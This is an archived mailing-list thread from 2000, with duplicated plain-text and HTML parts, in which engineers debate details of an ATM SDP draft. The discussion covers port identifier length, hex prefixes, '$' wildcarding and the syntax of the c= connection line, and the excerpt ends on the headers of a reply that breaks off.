Megaco allows all fields in SDP to be substituted with $ but since you
explicitly say it for the vcci maybe it might be better to add it in.
 
Michael Mackey,
Marconi Communications,
Tel: +353 1 6638407
- www.marconi.com <http://www.marconi.com/>  - 



-----Original Message----- 

From: Rajesh Kumar [ mailto:rkumar@cisco.com <mailto:rkumar@cisco.com> ] 

Sent: Tuesday, September 26, 2000 12:34 AM 

To: mhussain@hss.hns.com; atmsdp@eng.fore.com 

Subject: ATM SDP inputs from Naren and Mahamood



Mahamood and Naren, 

I have concatenated, below, several of your emails into one to expedite my
response. Hope this clears up the air. Thanks to you  for your latest round
of inputs. These are specially significant to me since your companies
(Trillium and Hughes Software) are actually implementing the draft. 

Here are some responses, in-line. 

At 09:35 AM 9/20/00 +0530, mhussain@hss.hns.com wrote: 

> 

>1. Why does a port number need 32 digits for representation? Won't 32 bits 

>suffice? I am not aware of any machine that uses such a large number range
>for its ports. Kindly clarify.



See http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt
<http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt> . It
refers to rfc2737 and rfc2233. In brief, it specifies the port identifier as
a variable size octet string of up to 32 octets. Although the earlier drafts
limited port ID to 32 bits (4 octets), it was considered necessary to extend
it to 32. I have a little clean-up to do regarding the "34 alphanumeric"
characters and I'll do it in the next draft which I will circulate on the
mailing list. Basically, I will make it conform to what the IETF has
standardized/recommended so far in its physical topology MIBs. And, yes,
there are implementations in which the port ID is more than 32 bits e.g.
cases in which there is a six-byte  IEEE 802 MAC address used as a physical
port ID.



> 

>2. The draft says ".. to cover all cases, the <portid> can consist of upto
34 

>alphanumeric charecters. ". My understanding of 'alphanumeric' is strings
like 

>"mhussain_32". If we use such identifiers for a port, is there going to be
some 

>kind of a mapping between the port number and the port identifier? Since so
far 

>as I gather ports are identified only by a 32bit number.



See comment above.



> 

>     These are also problems in migrating from the older draft to the newer


>one. 

>The older draft qualified vcci, bcg, port id etc as "decimal numbers". With


>this 

>new definition of <portid>, code written around the old draft will be
broken 

>:-(. Can we come up with a scheme that extends the old definitions without 

>breaking old code?



I am going to be following Naren's suggestion that: "There are a few places
(NSAP address, IEEE ID etc) where ONLY hex digits can appear. In these cases
I am fine with having no hex prefixes. My only concern was places where a
hex or a decimal may appear." In these cases where decimal or hex values are
permitted, I'll be requiring explicit 0x prefixes to distinguish decimal
from hex. Also, see my comment, above,  about cleaning up the alphanumeric
port ID. I hope this also helps backwards compatibility with the code that
your team wrote around the earlier draft. However, please note that there is
risk associated with writing code around specifications that are in flux.
You should expect minor changes until the document is ratified. This is just
the way things are.



On another note, I think the consensus, by articulation or silence, in this
group is to disallow the implicit virtualConnectionId naming convention. I
will do that too. This is what Sean Sheedy, Naren Tulpule and you wanted.



>     Regarding the virtual connection ID for the "m=" line, the current
draft 

>does not explicitly allow/ disallow the sub-parameters to be a dollar. If I
am 

>not wrong, the oldest draft explicitly disallowed bcg from taking on a
dollar. 

>Could such a restriction be included in the draft?



The older version did not disallow wildcarding the <bcg>. It was omitted as
an oversight. Actually, the <bcg> was added in the description of the
VirtualConnectionId without adding it into the wildcarding description. That
was a typo and not a  feature. Since there is no reason why  <bcg>
wildcarding should be disallowed, I will not be adding the restriction you
requested.



> 

>Rajesh, could you also consider including a formal grammar specification
for 

>ATM 

>SDP? ABNF might be a good choice of representation. This will help clear
any 

>ambiguities that may arise as the grammar will be the standard of reference


>when 

>building a parser or encoder for ATM sdp.



I do not think I will have a formal ABNF grammar in by the next draft, which
I hope to issue in a few days. Naren has provided me with one to start with
(Thanks!), but it needs some work. I plan to have it in the next draft after
the next.



> 

> 

>Thanx, 

>Mahamood 

> 

>





- Rajesh Kumar 

         

------------------------------------------------------- 

Rajesh Kumar                             :         : 

Carrier Packet Voice                    .|.       .|. 

Cisco Systems                         .:|||:.   .:|||:. 

San Jose, California               ..:|||||||:.:|||||||:.. 

408 527 0811                       C i s c o S y s t e m s 

rkumar@cisco.com  

------------------------------------------------------- 

          

  

 




- Rajesh Kumar
        
-------------------------------------------------------
Rajesh Kumar                             :         :
Carrier Packet Voice                    .|.       .|.
Cisco Systems                         .:|||:.   .:|||:.
San Jose, California               ..:|||||||:.:|||||||:..
408 527 0811                       C i s c o S y s t e m s
rkumar@cisco.com  
-------------------------------------------------------
          
 
 



------_=_NextPart_001_01C031F9.E1F0DB50
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">


<META content="MSHTML 5.00.3018.900" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=567454413-09102000>The 
"c=" line is hierarchical. It would be better to have the address type based on 
the network type and the address format depends on the address type. For 
example, "network type = IN'" will only have the "address type = IP4 or IP6", 
while "network type = ATM" has several address types that are not applicable to 
IN. In the case that many&nbsp;layer 2 (such as ATM and FR) networks can have 
NSAP, their address formats are not the same. I worked on FR several years ago. 
Don't remember the exact FR address format (left that at home), but the FR 
address format is different from the ATM's. So, if a MGC or MG does not know the 
network type, it should not provide address type or address. 
</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=567454413-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=567454413-09102000>What 
is the advantage of providing network address type and address while don't know 
the network type? If the MGC or MG does not know the network type, then 
it&nbsp;should not have the address type or address. </SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=567454413-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=567454413-09102000>Regards, Sophia</SPAN></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
size=2>-----Original Message-----<BR><B>From:</B> Watson, Mark 
[MAIFP:EP11-M:EXCH] <BR><B>Sent:</B> Monday, October 09, 2000 9:33 
AM<BR><B>To:</B> Scoggins, Sophia [NC1:8740:EXCH]; 'confctrl@ISI.EDU'; 
'atmsdp@eng.fore.com'<BR><B>Subject:</B> RE: Question on ATM SDP 
draft<BR><BR></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=930192913-09102000>Sophia,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=930192913-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN class=930192913-09102000>I 
was asking whether the &lt;AddressType&gt; field is independent of the 
&lt;NetworkType&gt; field. I think it should be, if it is going to be possible 
to keep the MGC 'bearer indepenent'.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=930192913-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN class=930192913-09102000>This 
would allow the gateway address to be interpreted without understanding the 
&lt;NetworkType&gt; field. You could even have:</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=930192913-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN class=930192913-09102000>c=$ 
NSAP &lt;address&gt;</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=930192913-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN class=930192913-09102000>in 
the case that a gateway supports multiple network types which can all use NSAP 
addressing.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=930192913-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN class=930192913-09102000>It 
would also mean that the presently defined values of &lt;AddressType&gt; would 
be valid with all future values of &lt;NetworkType&gt;, as far as this made 
sense for the specific technology.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=930192913-09102000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
class=930192913-09102000>Regards...Mark</SPAN></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Scoggins, Sophia 
  [mailto:scoggins@americasm10.nt.com]<BR><B>Sent:</B> 09 October 2000 
  14:01<BR><B>To:</B> Watson, Mark ; 'confctrl@ISI.EDU'; 
  'atmsdp@eng.fore.com'<BR><B>Subject:</B> RE: Question on ATM SDP 
  draft<BR><BR></DIV></FONT>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>The 
  "c=" line is applicable to other type of networks as well. It has been 
  implemented in the IP network:</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>c=IN 
  IP4 &lt;IP address&gt;</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000>Furthermore, there was no restriction on either MGC 
  or MG must provide the network type. So, if the MGC is bearer independent, it 
  would send a '$' to let the MG decide which type of network is. Similarly, if 
  the MGC knew the network type, but not the address type, it can let the MG to 
  decide the bearer technologies. So, all of below formats should be 
  valid:</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>c= $ 
  $ $</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>c=IN 
  $ $</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>c=IN 
  IP4 $</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000>c=ATM $ $</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>c= 
  ATM NSAP $</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>In 
  addition to the "c=" line, the "m=" line also allows $ in many arguments 
  fields.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=883275012-09102000>The 
  difference between "$" and "-" is that "$" means the argument is in use, but 
  the value has been determined. The recipient of the SDP should provide/return 
  the value, while "-" means the argument is not in use (therefore, it should be 
  ignored).</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000>However, if "$" seems caused potential interop 
  problems. Because a MGC can let as many fields be "$" as it wishes, while a MG 
  may rely on the MGC's to determine the value of&nbsp;several arguments. This 
  is not a protocol issue, but an implementation agreement / interop 
  issue.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=883275012-09102000>Regards, Sophia</SPAN></FONT></DIV>
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Watson, Mark 
  [MAIFP:EP11-M:EXCH] <BR><B>Sent:</B> Monday, October 09, 2000 7:01 
  AM<BR><B>To:</B> 'confctrl@ISI.EDU'; 'atmsdp@eng.fore.com'<BR><B>Subject:</B> 
  FW: Question on ATM SDP draft<BR><BR></FONT></DIV>
  <DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
  class=120545910-09102000>Anyone have any opinions on this 
?</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
  class=120545910-09102000><BR>Regards,</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
  class=120545910-09102000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
  class=120545910-09102000>Mark Watson</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Verdana size=2><SPAN 
  class=120545910-09102000>Nortel Networkd</SPAN></FONT></DIV>
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> Watson, Mark 
  [mailto:mwatson@europem01.nt.com]<BR><B>Sent:</B> 28 September 2000 
  10:02<BR><B>To:</B> 'Rajesh Kumar'<BR><B>Cc:</B> 
  atmsdp@eng.fore.com<BR><B>Subject:</B> RE: Question<BR><BR></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000>Hi,</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000>Minor point, but on the 'c=' line, shouldn't we 
  describe this as being the same syntax as in existing SDP:</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000>c=&lt;NetworkType&gt; &lt;AddressType&gt; 
  &lt;Address&gt;</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=090565608-28092000>and 
  say that we are just introducing some new values for &lt;AddressType&gt; and 
  associated formats for &lt;Address&gt;. I would like to think that the new 
  &lt;AddressType&gt;s would be valid for all values of &lt;NetworkType&gt; not 
  just 'ATM' (I'm thinking more of future values of &lt;NetworkType&gt; than the 
  existing values.)</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=090565608-28092000>The 
  current description kind of implies that the new Address Types are only used 
  when &lt;NetworkType&gt;=ATM.</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000>Regards,</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000></SPAN></FONT>&nbsp;</DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN class=090565608-28092000>Mark 
  Watson</SPAN></FONT></DIV>
  <DIV><FONT color=#0000ff face=Arial size=2><SPAN 
  class=090565608-28092000>Nortel Networks</SPAN></FONT></DIV>
  <DIV><SPAN class=090565608-28092000></SPAN><FONT face=Tahoma><FONT 
  size=2><SPAN class=090565608-28092000><FONT color=#0000ff 
  face=Arial>&nbsp;</FONT></SPAN></FONT></FONT></DIV>
  <DIV><FONT face=Tahoma><FONT size=2><SPAN 
  class=090565608-28092000></SPAN></FONT></FONT>&nbsp;</DIV>
  <DIV><FONT face=Tahoma><FONT size=2><SPAN 
  class=090565608-28092000>&nbsp;</SPAN>-----Original 
  Message-----<BR><B>From:</B> Rajesh Kumar 
  [mailto:rkumar@cisco.com]<BR><B>Sent:</B> 26 September 2000 
  22:04<BR><B>To:</B> Mackey, Michael; 'Rajesh Kumar'<BR><B>Cc:</B> Somers, 
  Mark; atmsdp@eng.fore.com<BR><B>Subject:</B> Question<BR><BR></DIV></FONT>
  <BLOCKQUOTE style="MARGIN-RIGHT: 0px"></FONT>Michael,<BR>Yes. h.248 allows 
    "$" for the IP address. Therefore, the same should be OK for the ATM 
    address.<BR><BR>My question is: Isn't this semantically the same as the "-"? 
    This is how it is used in h.248. In this case, do we need the "-"? For 
    backwards compatibility, do we want to permit a "$" and a "-" as synonyms 
    for the 'c' line?<BR><BR>Rajesh<BR>At 06:13 AM 9/26/00 -0400, Mackey, 
    Michael wrote: <BR><FONT face=arial size=2>
    <BLOCKQUOTE cite type="cite">Hi Rajesh ...</FONT><BR>&nbsp;&nbsp;&nbsp; I 
      have a small question about the c= line ... you say in the document that 
      it can be set to <BR>&nbsp;<BR><FONT face=arial>c=ATM 
      &lt;ATMaddressType&gt; &lt;ATMaddress&gt; </FONT><BR>&nbsp;<BR><FONT 
      face=arial>and if they are not known that ATMaddressType and ATMaddress 
      can be set to&nbsp;&nbsp; '-' , would I be correct in presuming that the 
      use of $ is also allowed for this field ... if yes then should it be 
      mentioned in the document. I know Megaco allows all fields in SDP to be 
      substituted with $ but since you explicitly say it for the vcci maybe it 
      might be better to add it in.</FONT><BR>&nbsp;<BR><FONT face=arial 
      size=2><B><I>Michael Mackey,</FONT></B></I><BR>Marconi 
      Communications,</B></I><BR>Tel: +353 1 6638407</B></I><BR>- <A 
      href="http://www.marconi.com/">www.marconi.com</A> -</B></I></B></I> 
      <BLOCKQUOTE><FONT face=tahoma size=2>
        <DL>
          <DD>-----Original Message----- 
          <DD>From:</B> Rajesh Kumar [<A href="mailto:rkumar@cisco.com" 
          eudora="autourl">mailto:rkumar@cisco.com</A>] 
          <DD>Sent:</B> Tuesday, September 26, 2000 12:34 AM 
          <DD>To:</B> mhussain@hss.hns.com; atmsdp@eng.fore.com 
          <DD>Subject:</B> ATM SDP inputs from Naren and 
          Mahamood<BR><BR></FONT><FONT color=#0000ff>
          <DD>Mahamood and Naren, 
          <DD>I have concatenated, below, several of your emails into one to 
          expedite my response. Hope this clears up the air. Thanks to you&nbsp; 
          for your latest round of inputs. These are specially significant to me 
          since your companies (Trillium and Hughes Software) are actually 
          implementing the draft.</FONT> 
          <DD>Here are some responses, in-line. 
          <DD>At 09:35 AM 9/20/00 +0530, mhussain@hss.hns.com wrote: 
          <DD>&gt; 
          <DD>&gt;1. Why does a port number need 32 digits for representation? 
          Won't 32 bits 
          <DD>&gt;suffice? I am not aware of any machine that uses such a large 
          number range &gt;for its ports. Kindly clarify.<BR><BR><FONT 
          color=#0000ff>
          <DD>See <A 
          href="http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt" 
          eudora="autourl">http://search.ietf.org/internet-drafts/draft-ietf-ptopomib-mib-05.txt</A>. 
          It refers to rfc2737 and rfc2233. In brief, it specifies the port 
          identifier as a variable size octet string of up to 32 octets. 
          Although the earlier drafts limited port ID to 32 bits (4 octets), it 
          was considered necessary to extend it to 32. I have a little clean-up 
          to do regarding the "34 alphanumeric" characters and I'll do it in the 
          next draft which I will circulate on the mailing list. Basically, I 
          will make it conform to what the IETF has standardized/recommended so 
          far in its physical topology MIBs. And, yes, there are implementations 
          in which the port ID is more than 32 bits e.g. cases in which there is 
          a six-byte&nbsp; IEEE 802 MAC address used as a physical port 
          ID.<BR><BR></FONT>
          <DD>&gt; 
          <DD>&gt;2. The draft says ".. to cover all cases, the &lt;portid&gt; 
          can consist of upto 34 
          <DD>&gt;alphanumeric charecters. ". My understanding of 'alphanumeric' 
          is strings like 
          <DD>&gt;"mhussain_32". If we use such identifiers for a port, is there 
          going to be some 
          <DD>&gt;kind of a mapping between the port number and the port 
          identifier? Since so far 
          <DD>&gt;as I gather ports are identified only by a 32bit 
          number.<BR><BR><FONT color=#0000ff>
          <DD>See comment above.<BR><BR></FONT>
          <DD>&gt; 
          <DD>&gt;&nbsp;&nbsp;&nbsp;&nbsp; These are also problems in migrating 
          from the older draft to the newer 
          <DD>&gt;one. 
          <DD>&gt;The older draft qualified vcci, bcg, port id etc as "decimal 
          numbers". With 
          <DD>&gt;this 
          <DD>&gt;new definition of &lt;portid&gt;, code written around the old 
          draft will be broken 
          <DD>&gt;:-(. Can we come up with a scheme that extends the old 
          definitions without 
          <DD>&gt;breaking old code?<BR><BR><FONT color=#0000ff>
          <DD>I am going to be following Naren's suggestion that: "There are a 
          few places (NSAP address, IEEE ID etc) where ONLY hex digits can 
          appear. In these cases I am fine with having no hex prefixes. My only 
          concern was places where a hex or a decimal may appear." In these 
          cases where decimal or hex values are permitted, I'll be requiring 
          explicit 0x prefixes to distinguish decimal from hex. Also, see my 
          comment, above,&nbsp; about cleaning up the alphanumeric port ID. I 
          hope this also helps backwards compatibility with the code that your 
          team wrote around the earlier draft. However, please note that there 
          is risk associated with writing code around specifications that are in 
          flux. You should expect minor changes until the document is ratified. 
          This is just the way things are.<BR><BR>
          <DD>On another note, I think the consensus, by articulation or 
          silence, in this group is to disallow the implicit virtualConnectionId 
          naming convention. I will do that too. This is what Sean Sheedy, Naren 
          Tulpule and you wanted.<BR><BR></FONT>
          <DD>&gt;&nbsp;&nbsp;&nbsp;&nbsp; Regarding the virtual connection ID 
          for the "m=" line, the current draft 
          <DD>&gt;does not explicitly allow/ disallow the sub-parameters to be a 
          dollar. If I am 
          <DD>&gt;not wrong, the oldest draft explicitly disallowed bcg from 
          taking on a dollar. 
          <DD>&gt;Could such a restriction be included in the 
          draft?<BR><BR><FONT color=#0000ff>
          <DD>The older version did not disallow wildcarding the &lt;bcg&gt;. It 
          was omitted as an oversight. Actually, the &lt;bcg&gt; was added in 
          the description of the VirtualConnectionId without adding it into the 
          wildcarding description. That was a typo and not a&nbsp; feature. 
          Since there is no reason why&nbsp; &lt;bcg&gt; wildcarding should be 
          disallowed, I will not be adding the restriction you 
          requested.<BR><BR></FONT>
          <DD>&gt; 
          <DD>&gt;Rajesh, could you also consider including a formal grammar 
          specification for 
          <DD>&gt;ATM 
          <DD>&gt;SDP? ABNF might be a good choice of representation. This will 
          help clear any 
          <DD>&gt;ambiguities that may arise as the grammar will be the standard 
          of reference 
          <DD>&gt;when 
          <DD>&gt;building a parser or encoder for ATM sdp.<BR><BR><FONT 
          color=#0000ff>
          <DD>I do not think I will have a formal ABNF grammar in by the next 
          draft, which I hope to issue in a few days. Naren has provided me with 
          one to start with (Thanks!), but it needs some work. I plan to have it 
          in the next draft after the next.<BR><BR></FONT>
          <DD>&gt; 
          <DD>&gt; 
          <DD>&gt;Thanx, 
          <DD>&gt;Mahamood 
          <DD>&gt; 
          <DD>&gt;<BR><BR><BR><BR>
          <DD>- Rajesh Kumar<FONT color=#800000 size=2> 
          <DD>&nbsp;<X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB></FONT> 

          <DD>------------------------------------------------------- 
          <DD>Rajesh 
          Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; : 
          <DD>Carrier Packet 
          Voice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          .|.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|. 
          <DD>Cisco 
          Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          .:|||:.&nbsp;&nbsp; .:|||:. 
          <DD>San Jose, 
          California&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          ..:|||||||:.:|||||||:.. 
          <DD>408 527 
          0811&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          C i s c o S y s t e m s 
          <DD>rkumar@cisco.com&nbsp; 
          <DD>-------------------------------------------------------<FONT 
          color=#800000 size=2> 
          <DD>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
          <DD>&nbsp;</FONT><FONT color=#800000 face=garamond> 
          <DD>&nbsp;</FONT></I></I></DD></DL></BLOCKQUOTE>
      <DL></DL><BR></I><BR><BR>- Rajesh Kumar<BR><FONT color=#800000 
      size=2>&nbsp;<X-TAB>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</X-TAB><BR></FONT>-------------------------------------------------------<BR>Rajesh 
      Kumar&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :<BR>Carrier Packet 
      Voice&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      .|.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; .|.<BR>Cisco 
      Systems&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      .:|||:.&nbsp;&nbsp; .:|||:.<BR>San Jose, 
      California&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      ..:|||||||:.:|||||||:..<BR>408 527 
      0811&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      C i s c o S y s t e m s<BR>rkumar@cisco.com&nbsp; 
      <BR>-------------------------------------------------------<BR><FONT 
      color=#800000 
      size=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
      <BR>&nbsp;<BR></FONT><FONT color=#800000 
      face=Garamond><I>&nbsp;<BR></FONT></I></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C031F9.E1F0DB50--

From confctrl-owner  Tue Oct 10 17:27:24 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA09506
	for confctrl-outgoing; Tue, 10 Oct 2000 17:27:24 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA09501
	for <confctrl@zephyr.isi.edu>; Tue, 10 Oct 2000 17:27:23 -0700 (PDT)
Received: from cisco.com (farley.cisco.com [171.71.153.30])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id RAA24398
	for <confctrl@isi.edu>; Tue, 10 Oct 2000 17:27:35 -0700 (PDT)
Received: from rkumar-ntl (dhcp-71-29-169.cisco.com [171.71.29.169])
	by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id RAA23078;
	Tue, 10 Oct 2000 17:26:58 -0700 (PDT)
Message-Id: <4.1.20001010171821.030e26f0@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Tue, 10 Oct 2000 17:31:58 -0700
To: mhussain@hss.hns.com, "Rajesh Kumar" <rkumar@cisco.com>
From: Rajesh Kumar <rkumar@cisco.com>
Subject: Why replicate parameters in SDP and the MGCP LCO?
Cc: confctrl@ISI.EDU, atmsdp@eng.fore.com, msf-media@msforum.org
In-Reply-To: <6525696D.0021BD0E.00@sandesh.hss.hns.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_30823802==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_30823802==_.ALT
Content-Type: text/plain; charset="us-ascii"

Mahamood,

